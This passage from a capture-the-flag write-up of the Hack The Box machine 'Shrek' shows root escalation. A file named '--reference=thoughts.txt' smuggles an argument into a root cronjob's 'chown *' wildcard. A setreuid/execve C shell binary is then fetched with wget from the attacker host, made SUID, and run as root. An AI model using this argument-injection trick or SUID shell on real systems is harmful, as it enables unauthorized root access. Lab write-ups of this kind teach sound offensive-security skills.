17 4 -r--r--r-- 1 root root 33 Aug 22 2017 /home/sec/user.txt
|
||
18 0 -rw------- 1 root root 0 Aug 22 2017 /home/sec/.bash_history
|
||
131595 4 drwxr-xr-x 2 root root 4096 Aug 23 2017 /var/lib/dhcpcd
|
||
138091 4 drwxr-xr-x 2 root root 4096 Aug 21 2017 /var/spool/cron
|
||
138145 4 -rw------- 1 root root 97 Aug 22 2017 /var/spool/cron/root
|
||
138108 8196 -rw-r----- 1 root systemd-journal 8388608 Aug 23 2017 /var/log/journal/84d230a047b241c6be827bd5ce531868/user-1001.journal
|
||
138101 16388 -rw-r----- 1 root systemd-journal 16777216 Aug 21 2017 /var/log/journal/84d230a047b241c6be827bd5ce531868/system@00055747c657656c-ad9ea2c5440b64ec.journal~
|
||
138138 8192 -rw-r----- 1 root systemd-journal 8388608 Aug 21 2017 /var/log/journal/84d230a047b241c6be827bd5ce531868/system@0005574ac144c200-f23de797a5b2e762.journal~
|
||
137786 16 -rw------- 1 root utmp 15744 Aug 22 2017 /var/log/btmp.1
|
||
131087 8 -rw------- 1 root root 7948 Aug 23 2017 /var/log/vsftpd.log.1
|
||
137811 264656 -rw-r--r-- 1 root root 271001726 Aug 23 2017 /var/log/httpd/access_log.1
|
||
137906 12 -rw-r--r-- 1 root root 9833 Aug 23 2017 /var/log/httpd/error_log.1
|
||
2100 4 drwxr-xr-x 2 sec root 4096 Aug 23 2017 /usr/src
|
||
20283 4 -rw-r--r-- 1 root root 91 Aug 22 2017 /usr/src/thoughts.txt
|
||
|
||
|
||
Here we are hinted towards /usr/src/thoughts.txt, and by running pspy earlier we know that there is a cronjob being run against the /usr/src directory, therefore we can exploit the wildcard in the cronjob running **chown nobody:nobody *** there.
|
||
|
||
|
||
[sec@shrek src]$ ls -lash
|
||
total 12K
|
||
4.0K drwxr-xr-x 2 sec root 4.0K Aug 14 10:57 .
|
||
4.0K drwxr-xr-x 8 sec root 4.0K Aug 16 2017 ..
|
||
4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt
|
||
|
||
|
||
|
||
The idea here is that thoughts.txt is readable by sec, and yet is owned by root. We need to take advantage of chown's wildcard like so:
|
||
|
||
|
||
[sec@shrek src]$ touch -- -reference=thoughts.txt
|
||
[sec@shrek src]$ ls -lash
|
||
total 12K
|
||
4.0K drwxr-xr-x 2 sec root 4.0K Aug 14 10:59 .
|
||
4.0K drwxr-xr-x 8 sec root 4.0K Aug 16 2017 ..
|
||
0 -rw-r--r-- 1 sec users 0 Aug 14 10:59 '-reference=thoughts.txt'
|
||
4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt
|
||
|
||
|
||
|
||
Now we have created a file named "--reference=thoughts.txt" which will be passed as an arguement to chown when it is run. Once that's done, it's possible to create a binary and set it's SUID bit. After the task runs and showns the binary, it's possible to execute code as root, such as spawning a bash shell!
|
||
|
||
|
||
[terminal 1]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek]
|
||
→ vim nihilist.c
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek]
|
||
→ cat nihilist.c
|
||
#include <****stdio.h>
|
||
#include <****stdlib.h>
|
||
#include <****unistd.h>
|
||
|
||
int main( int argc, char *argv[] )
|
||
{
|
||
setreuid(0,0);
|
||
execve("/usr/bin/bash", NULL, NULL);
|
||
}
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek]
|
||
→ gcc nihilist.c -o privesc
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek]
|
||
→ ls -lash
|
||
total 36K
|
||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Jul 7 13:06 .
|
||
4.0K drwxr-xr-x 9 nothing nothing 4.0K Jul 7 12:36 ..
|
||
4.0K -rw-r--r-- 1 nothing nothing 153 Jul 7 13:06 nihilist.c
|
||
4.0K -rw------- 1 nothing nothing 1.8K Jul 7 12:39 key
|
||
20K -rwxr-xr-x 1 nothing nothing 17K Jul 7 13:06 privesc
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
[terminal 2]
|
||
|
||
Now that's done we wait for the cronjob to run and we can :
|
||
|
||
|
||
[sec@shrek ~]$ cd /usr/src/
|
||
[sec@shrek src]$ ls -lash
|
||
total 12K
|
||
4.0K drwxr-xr-x 2 sec root 4.0K Aug 23 2017 .
|
||
4.0K drwxr-xr-x 8 sec root 4.0K Oct 1 2020 ..
|
||
4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt
|
||
[sec@shrek src]$ wget http://10.10.14.8:9090/privesc
|
||
--2021-07-07 11:00:19-- http://10.10.14.8:9090/privesc
|
||
Connecting to 10.10.14.8:9090... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 16656 (16K) [application/octet-stream]
|
||
Saving to: ‘privesc’
|
||
|
||
privesc 100%[======================================================================================================================================================================================>] 16.27K 35.8KB/s in 0.5s
|
||
|
||
2021-07-07 11:00:20 (35.8 KB/s) - ‘privesc’ saved [16656/16656]
|
||
|
||
[sec@shrek src]$ chmod 4755 privesc
|
||
|
||
[sec@shrek src]$ touch -- --reference=thoughts.txt
|
||
|
||
[sec@shrek src]$ ls -lash
|
||
total 32K
|
||
4.0K drwxr-xr-x 2 sec root 4.0K Jul 7 11:00 .
|
||
4.0K drwxr-xr-x 8 sec root 4.0K Oct 1 2020 ..
|
||
20K -rwsr-xr-x 1 sec users 17K Jul 7 10:48 privesc
|
||
0 -rw-r--r-- 1 sec users 0 Jul 7 11:00 '--reference=thoughts.txt'
|
||
4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt
|
||
|
||
|
||
[sec@shrek src]$ date
|
||
Wed Jul 7 11:01:26 UTC 2021
|
||
|
||
[sec@shrek src]$ date
|
||
Wed Jul 7 11:20:55 UTC 2021
|
||
[sec@shrek src]$ ls -lash privesc
|
||
20K -rwsr-sr-x 1 root root 17K Jul 7 11:06 privesc
|
||
[sec@shrek src]$ ./privesc
|
||
|
||
bash-4.4# id
|
||
uid=0(root) gid=100(users) groups=100(users),10(wheel),95(storage),98(power)
|
||
bash-4.4# cat /root/root.txt
|
||
27XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And that's it! We managed to privesc to the root user and get the root flag.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||
|
||
|